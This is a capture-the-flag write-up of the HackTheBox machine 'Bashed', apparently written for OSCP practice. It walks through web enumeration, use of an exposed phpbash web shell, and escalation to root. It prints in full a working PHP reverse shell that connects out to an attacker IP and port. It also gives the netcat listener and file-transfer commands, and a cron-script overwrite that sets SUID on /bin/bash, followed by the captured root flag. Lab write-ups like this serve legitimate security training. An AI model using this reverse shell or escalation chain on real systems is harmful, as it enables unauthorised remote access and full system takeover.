Bashed - Easy

OSCP Prep Box

Introduction@Bashed:~$

Name	Bashed
IP	10.10.10.68
Os	Linux
Points	20
Difficulty	Easy
Creator	Arrexel
Release Date	09 / December / 2017

Enumeration

Nmap

┌─[sheinn101@parrot]─[~/htb/oscp/bashed]
└──╼ [??]$ sudo nmap -sC -sV -oN nmap.out 10.10.10.68
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 21:42 +0630
Nmap scan report for 10.10.10.68
Host is up (0.73s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.41 seconds

There is only one opened port which is HTTP 80.

Web

phpbash is a standalone, semi-interactive web shell. It's main purpose is to assist in penetration tests where traditional reverse shells are not possible. The design is based on the default Kali Linux terminal colors, so pentesters should feel right at home. https://github.com/Arrexel/phpbash

Now we should try to scan directory with dirsearch.

Directory Scan

┌─[sheinn101@parrot]─[~/htb/oscp/bashed]
└──╼ [??]$ sudo dirsearch -u http://10.10.10.68/ 

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )  
 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903

Output File: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.1-py3.9.egg/dirsearch/reports/10.10.10.68/_21-12-22_21-50-10.txt

Error Log: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.1-py3.9.egg/dirsearch/logs/errors-21-12-22_21-50-10.log

Target: http://10.10.10.68/

[21:50:11] Starting: 
[21:50:16] 301 -  307B  - /js  ->  http://10.10.10.68/js/
[21:50:19] 301 -  308B  - /php  ->  http://10.10.10.68/php/
[21:51:14] 200 -    8KB - /about.html
[21:52:01] 200 -    0B  - /config.php
[21:52:03] 200 -    8KB - /contact.html
[21:52:05] 301 -  308B  - /css  ->  http://10.10.10.68/css/
[21:52:08] 200 -    1KB - /dev/
[21:52:08] 301 -  308B  - /dev  ->  http://10.10.10.68/dev/
[21:52:17] 301 -  310B  - /fonts  ->  http://10.10.10.68/fonts/
[21:52:24] 301 -  311B  - /images  ->  http://10.10.10.68/images/
[21:52:24] 200 -    2KB - /images/
[21:52:26] 200 -    8KB - /index.html
[21:52:28] 200 -    3KB - /js/
[21:52:49] 200 -  939B  - /php/
[21:53:00] 403 -  299B  - /server-status
[21:53:00] 403 -  300B  - /server-status/
[21:53:18] 200 -   14B  - /uploads/
[21:53:18] 301 -  312B  - /uploads  ->  http://10.10.10.68/uploads/
Task Completed
<dirsearch.dirsearch.Program object at 0x7fd42cbdc1c0>

If we go uploads directory or config.php file, it was just a blank page and there is no interesting things. But in /dev/ directory, we can see there is two file which is phpbash .

In phpbash.php file:

We can see its was just like terminal and get a shell which is users as a www-data .

We can get user.txt in arrexel 's home directory. When we get a shell, we should always try sudo -l in an easy box.

www-data@bashed:/home/arrexel# sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

We can use sudo without password for scriptmanager but this shell does not has persistance, so we can't escalate to scriptmanager user. We should try to get reverse shell to us. In this case, we can't get a reverse shell with some one liner reverse shell because of may be some filter in the backend .But we can download reverse.php to uploads and get a shell.

php-reverse-shell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [e-mail]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [e-mail]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.7';  // CHANGE THIS
$port = 1337;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Getting Rev Shell

You can search this php reverse shell in your kali or parrot by using locate command.And change your ip address, port and listen with netcat .

I created a web server to transfer that reverse shell file.

┌─[sheinn101@parrot]─[~/htb/oscp/bashed]
└──╼ [??]$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We can use wget to download file, go to uploads directory and download it.

Now , If we go to this url, we will get a shell .

http://10.10.10.68/uploads/rev.php10.10.10.68

┌─[sheinn101@parrot]─[~/htb/oscp/bashed]
└──╼ [??]$ rlwrap nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.68] 58986
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 08:01:07 up 56 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

I used rlwrap in front of nc to get usable left and right key.

Use this to get a shell as bash

python3 -c 'import pty;pty.spawn("/bin/bash")

Privilege Escalation

Now we can escalate to scriptmanager user by using this command.

sudo -u scriptmanager bash
whoami
whoami
scriptmanager
scriptmanager@bashed:/home$

After some enumeration, I found a folder which is own by scriptmanager name called scripts

ls -al
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Dec 22 08:10 test.txt
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

It runing with cronjob . To get root access, we need to modify test.py file. In this case I just gave special user permission to /bin/bash and you can use python reverse shell to get root access.

scriptmanager@bashed:/scripts$ echo "import os; os.system('chmod +s /bin/bash')" > test.py
<ts$ echo "import os; os.system('chmod +s /bin/bash')" > test.py             
ls -al /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
ls -al /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
ls -al /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
ls -al /bin/bash
-rwsr-sr-x 1 root root 1037528 Jun 24  2016 /bin/bash
/bin/bash -p
id
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) egid=0(root) groups=0(root),1001(scriptmanager)
whoami
root
cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2
bash-4.3# 

Now we pwned it.

https://app.hackthebox.com/profile/237587